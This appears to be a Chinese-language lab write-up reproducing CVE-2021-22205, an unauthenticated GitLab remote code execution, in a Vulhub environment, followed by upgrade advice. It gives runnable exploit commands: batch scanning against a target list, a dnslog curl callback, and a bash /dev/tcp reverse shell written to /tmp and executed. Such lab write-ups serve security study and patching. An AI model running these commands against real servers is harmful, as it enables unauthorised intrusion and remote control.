CVE-2021-22205 GitLab未授权 RCE

漏洞背景和描述

2021年4月15日,GitLab官方发布安全补丁更新修复了GitLab命令执行漏洞(CVE-2021-22205)。由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影响,CVSS评分为9.9。

漏洞影响版本

  • 11.9 <= Gitlab CE/EE < 13.8.8
  • 13.9 <= Gitlab CE/EE < 13.9.6
  • 13.10 <= Gitlab CE/EE < 13.10.3

漏洞复现

本次复现采用Vulhub靶场环境,需要在本地搭建Vulhub靶场

进入靶场环境,使用以下命令启动环境:

docker-compose up -d

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_服务器

检测环境端口是否开放

docker-compose ps

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_gitlab_02

访问目标的URL:http://192.168.0.109:8080

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络安全_03

下载漏洞利用脚本:https://github.com/Al1ex/CVE-2021-22205

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络_04

漏洞检测

python3 CVE-2021-22205.py -v true -t http://192.168.0.109:8080/

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_gitlab_05

批量检测

python3 CVE-2021-22205.py -s true -f target.txt

漏洞利⽤

python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c command

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络_06

dnslog探测

网站地址:http://www.dnslog.cn/

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络安全_07

python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c "curl p77j19.dnslog.cn"

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_安全_08

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络_09

反弹shell

如果⽬标出⽹的话,可以尝试反弹shell

本机开启监听

nc -lvp 4444

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络_10

#先将反弹shell的命令写⼊tmp⽬录下的1.sh⽂件
python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.0.109/4444 0>&1' > /tmp/1.sh"
#执⾏该⽂件
python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c "bash /tmp/1.sh"

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_网络安全_11

本机收到监听会话

CVE漏洞复现-CVE-2021-22205 GitLab未授权 RCE_gitlab_12

漏洞预防和修复

官⽅升级

⽬前官⽅已发布新版本修复了该漏洞,请受影响的⽤户尽快升级⾄最新版本进⾏防护,官⽅下载链接:https://about.gitlab.com/update/

临时防护措施

若相关⽤户暂时⽆法进⾏升级操作,可使⽤⽩名单限制对Web端⼝的访问。

相关:https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/